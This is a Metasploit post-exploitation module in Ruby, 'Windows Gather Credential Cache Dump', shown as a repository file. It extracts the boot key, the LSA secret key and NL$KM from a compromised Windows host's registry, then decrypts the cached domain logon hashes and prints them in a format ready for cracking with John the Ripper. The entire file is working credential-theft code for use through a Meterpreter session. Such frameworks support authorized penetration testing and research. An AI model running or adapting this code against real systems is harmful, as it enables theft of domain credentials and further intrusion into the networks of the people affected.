Files
metasploit-gs/modules/post/windows/gather/cachedump.rb
T
Michael Schierl 21f6127e29 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 20:33:01 +02:00

547 lines
15 KiB
Ruby

##
# $Id$
##
# post/windows/gather/cachedump.rb
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info(info,
'Name' => 'Windows Gather Credential Cache Dump',
'Description' => %q{
This module uses the registry to extract the stored domain hashes that have been
cached as a result of a GPO setting. The default setting on Windows is to store
the last ten successful logins.},
'License' => MSF_LICENSE,
'Author' => [
'Maurizio Agazzini <inode[at]mediaservice.net>',
'mubix'
],
'Version' => '$Revision$',
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
))
register_options(
[
OptBool.new('DEBUG', [true, 'Debugging output', false])
], self.class)
end
def check_gpo
begin
winlogonkey = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", KEY_READ)
gposetting = winlogonkey.query_value('CachedLogonsCount').data
print_status("Cached Credentials Setting: #{gposetting.to_s} - (Max is 50 and 0 disables, and 10 is default)")
#ValueName: CachedLogonsCount
#Data Type: REG_SZ
#Values: 0 - 50
rescue ::Exception => e
print_error("Cache setting not found...")
end
end
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [keybytes[descrambler[x]]].pack("C")
end
return descrambled
end
def capture_lsa_key(bootkey)
begin
print_status("Getting PolSecretEncryptionKey...") if( datastore['DEBUG'] )
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
pol = ok.query_value("").data
print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") if( datastore['DEBUG'] )
ok.close
print_status("XP compatible client")
@vista = 0
rescue
print_status("Trying 'Vista' style...")
print_status("Getting PolEKList...") if( datastore['DEBUG'] )
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
pol = ok.query_value("").data
ok.close
print_status("Vista compatible client")
@vista = 1
end
if( @vista == 1 )
lsakey = decrypt_lsa(pol, bootkey)
lsakey = lsakey[68,32]
else
md5x = Digest::MD5.new()
md5x << bootkey
(1..1000).each do
md5x << pol[60,16]
end
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = md5x.digest
lsakey = rc4.update(pol[12,48])
lsakey << rc4.final
lsakey = lsakey[0x10..0x1F]
end
return lsakey
end
def convert_des_56_to_64(kstr)
des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = des_odd_parity[key[i]]
end
return key.pack("C*")
end
def decrypt_secret(secret, key)
# Ruby implementation of SystemFunction005
# the original python code has been taken from Credump
j = 0
decrypted_data = ''
for i in (0...secret.length).step(8)
enc_block = secret[i..i+7]
block_key = key[j..j+6]
des_key = convert_des_56_to_64(block_key)
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_key
d1o = d1.update(enc_block)
d1o << d1.final
decrypted_data += d1o
j += 7
if (key[j..j+7].length < 7 )
j = key[j..j+7].length
end
end
dec_data_len = decrypted_data[0].ord
return decrypted_data[8..8+dec_data_len]
end
def decrypt_lsa(pol, encryptedkey)
sha256x = Digest::SHA256.new()
sha256x << encryptedkey
(1..1000).each do
sha256x << pol[28,32]
end
aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
aes.key = sha256x.digest
print_status("digest #{sha256x.digest.unpack("H*")[0]}") if( datastore['DEBUG'] )
decryptedkey = ''
for i in (60...pol.length).step(16)
aes.decrypt
aes.padding = 0
xx = aes.update(pol[i...i+16])
decryptedkey += xx
end
return decryptedkey
end
def capture_nlkm(lsakey)
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ)
nlkm = ok.query_value("").data
ok.close
print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
if( @vista == 1 )
nlkm_dec = decrypt_lsa( nlkm[0..-1], lsakey)
else
nlkm_dec = decrypt_secret( nlkm[0xC..-1], lsakey)
end
return nlkm_dec
end
def parse_decrypted_cache(dec_data, s)
i = 0
hash = dec_data[i...i+0x10]
i+=72
username = dec_data[i...i+(s.userNameLength)].split("\x00\x00").first.gsub("\x00", '')
i+=s.userNameLength
i+=2 * ( ( s.userNameLength / 2 ) % 2 )
vprint_good "Username\t\t: #{username}"
vprint_good "Hash\t\t: #{hash.unpack("H*")[0]}"
last = Time.at(s.lastAccess)
vprint_good "Last login\t\t: #{last.strftime("%F %T")} "
domain = dec_data[i...i+s.domainNameLength+1]
i+=s.domainNameLength
if( s.dnsDomainNameLength != 0)
dnsDomainName = dec_data[i...i+s.dnsDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.dnsDomainNameLength
i+=2 * ( ( s.dnsDomainNameLength / 2 ) % 2 )
vprint_good "DNS Domain Name\t: #{dnsDomainName}"
end
if( s.upnLength != 0)
upn = dec_data[i...i+s.upnLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.upnLength
i+=2 * ( ( s.upnLength / 2 ) % 2 )
vprint_good "UPN\t\t\t: #{upn}"
end
if( s.effectiveNameLength != 0 )
effectiveName = dec_data[i...i+s.effectiveNameLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.effectiveNameLength
i+=2 * ( ( s.effectiveNameLength / 2 ) % 2 )
vprint_good "Effective Name\t: #{effectiveName}"
end
if( s.fullNameLength != 0 )
fullName = dec_data[i...i+s.fullNameLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.fullNameLength
i+=2 * ( ( s.fullNameLength / 2 ) % 2 )
vprint_good "Full Name\t\t: #{fullName}"
end
if( s.logonScriptLength != 0 )
logonScript = dec_data[i...i+s.logonScriptLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.logonScriptLength
i+=2 * ( ( s.logonScriptLength / 2 ) % 2 )
vprint_good "Logon Script\t\t: #{logonScript}"
end
if( s.profilePathLength != 0 )
profilePath = dec_data[i...i+s.profilePathLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.profilePathLength
i+=2 * ( ( s.profilePathLength / 2 ) % 2 )
vprint_good "Profile Path\t\t: #{profilePath}"
end
if( s.homeDirectoryLength != 0 )
homeDirectory = dec_data[i...i+s.homeDirectoryLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.homeDirectoryLength
i+=2 * ( ( s.homeDirectoryLength / 2 ) % 2 )
vprint_good "Home Directory\t\t: #{homeDirectory}"
end
if( s.homeDirectoryDriveLength != 0 )
homeDirectoryDrive = dec_data[i...i+s.homeDirectoryDriveLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.homeDirectoryDriveLength
i+=2 * ( ( s.homeDirectoryDriveLength / 2 ) % 2 )
vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
end
vprint_good "User ID\t\t: #{s.userId}"
vprint_good "Primary Group ID\t: #{s.primaryGroupId}"
relativeId = []
while (s.groupCount > 0) do
# Todo: parse attributes
relativeId << dec_data[i...i+4].unpack("V")[0]
i+=4
attributes = dec_data[i...i+4].unpack("V")[0]
i+=4
s.groupCount-=1
end
vprint_good "Additional groups\t: #{relativeId.join ' '}"
if( s.logonDomainNameLength != 0 )
logonDomainName = dec_data[i...i+s.logonDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.logonDomainNameLength
i+=2 * ( ( s.logonDomainNameLength / 2 ) % 2 )
vprint_good "Logon domain name\t: #{logonDomainName}"
end
@credentials <<
[
username,
hash.unpack("H*")[0],
logonDomainName,
dnsDomainName,
last.strftime("%F %T"),
upn,
effectiveName,
fullName,
logonScript,
profilePath,
homeDirectory,
homeDirectoryDrive,
s.primaryGroupId,
relativeId.join(' '),
]
vprint_good "----------------------------------------------------------------------"
return "#{username.downcase}:#{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
end
def parse_cache_entry(cache_data)
j = Struct.new(
:userNameLength,
:domainNameLength,
:effectiveNameLength,
:fullNameLength,
:logonScriptLength,
:profilePathLength,
:homeDirectoryLength,
:homeDirectoryDriveLength,
:userId,
:primaryGroupId,
:groupCount,
:logonDomainNameLength,
:logonDomainIdLength,
:lastAccess,
:last_access_time,
:revision,
:sidCount,
:valid,
:sifLength,
:logonPackage,
:dnsDomainNameLength,
:upnLength,
:ch,
:enc_data
)
s = j.new()
s.userNameLength = cache_data[0,2].unpack("v")[0]
s.domainNameLength = cache_data[2,2].unpack("v")[0]
s.effectiveNameLength = cache_data[4,2].unpack("v")[0]
s.fullNameLength = cache_data[6,2].unpack("v")[0]
s.logonScriptLength = cache_data[8,2].unpack("v")[0]
s.profilePathLength = cache_data[10,2].unpack("v")[0]
s.homeDirectoryLength = cache_data[12,2].unpack("v")[0]
s.homeDirectoryDriveLength = cache_data[14,2].unpack("v")[0]
s.userId = cache_data[16,4].unpack("V")[0]
s.primaryGroupId = cache_data[20,4].unpack("V")[0]
s.groupCount = cache_data[24,4].unpack("V")[0]
s.logonDomainNameLength = cache_data[28,2].unpack("v")[0]
s.logonDomainIdLength = cache_data[30,2].unpack("v")[0]
#Removed ("Q") unpack and replaced as such
thi = cache_data[32,4].unpack("V")[0]
tlo = cache_data[36,4].unpack("V")[0]
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
s.lastAccess = ((q / 10000000) - 11644473600)
s.revision = cache_data[40,4].unpack("V")[0]
s.sidCount = cache_data[44,4].unpack("V")[0]
s.valid = cache_data[48,4].unpack("V")[0]
s.sifLength = cache_data[52,4].unpack("V")[0]
s.logonPackage = cache_data[56,4].unpack("V")[0]
s.dnsDomainNameLength = cache_data[60,2].unpack("v")[0]
s.upnLength = cache_data[62,2].unpack("v")[0]
s.ch = cache_data[64,16]
s.enc_data = cache_data[96..-1]
return s
end
def decrypt_hash(edata, nlkm, ch)
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('md5'), nlkm, ch)
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = rc4key
dec = rc4.update(edata)
dec << rc4.final
return dec
end
def decrypt_hash_vista(edata, nlkm, ch)
aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc')
aes.key = nlkm[16...-1]
aes.padding = 0
aes.decrypt
aes.iv = ch
jj = ""
for i in (0...edata.length).step(16)
xx = aes.update(edata[i...i+16])
jj += xx
end
return jj
end
def run
@credentials = Rex::Ui::Text::Table.new(
'Header' => "MSCACHE Credentials",
'Indent' => 1,
'Columns' =>
[
"Username",
"Hash",
"Logon Domain Name",
"DNS Domain Name",
"Last Login",
"UPN",
"Effective Name",
"Full Name",
"Logon Script",
"Profile Path",
"Home Directory",
"HomeDir Drive",
"Primary Group",
"Additional Groups"
])
begin
print_status("Executing module against #{session.sys.config.sysinfo['Computer']}")
client.railgun.netapi32()
if client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"] != 3
print_error("System is not joined to a domain, exiting..")
return
end
#Check policy setting for cached creds
check_gpo
print_status('Obtaining boot key...')
bootkey = capture_boot_key
print_status("Boot key: #{bootkey.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey)
print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Obtaining LK$KM...")
nlkm = capture_nlkm(lsakey)
print_status("NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Dumping cached credentials...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)
john = ""
ok.enum_value.each do |usr|
if( "NL$Control" == usr.name) then
next
end
begin
nl = ok.query_value("#{usr.name}").data
rescue
next
end
cache = parse_cache_entry(nl)
if ( cache.userNameLength > 0 )
print_status("Reg entry: #{nl.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Ch: #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] )
if( @vista == 1 )
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
else
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
end
print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
john += parse_decrypted_cache(dec_data, cache)
end
end
store_loot("mscache.creds", "text/csv", session, @credentials.to_csv,
"mscache_credentials.txt", "MSCACHE Credentials")
print_status("John the Ripper format:")
john.split("\n").each do |pass|
print "#{pass}\n"
end
if( @vista == 1 )
print_status("Hash are in MSCACHE_VISTA format. (mscash2)")
else
print_status("Hash are in MSCACHE format. (mscash)")
end
rescue ::Interrupt
raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
end
end
end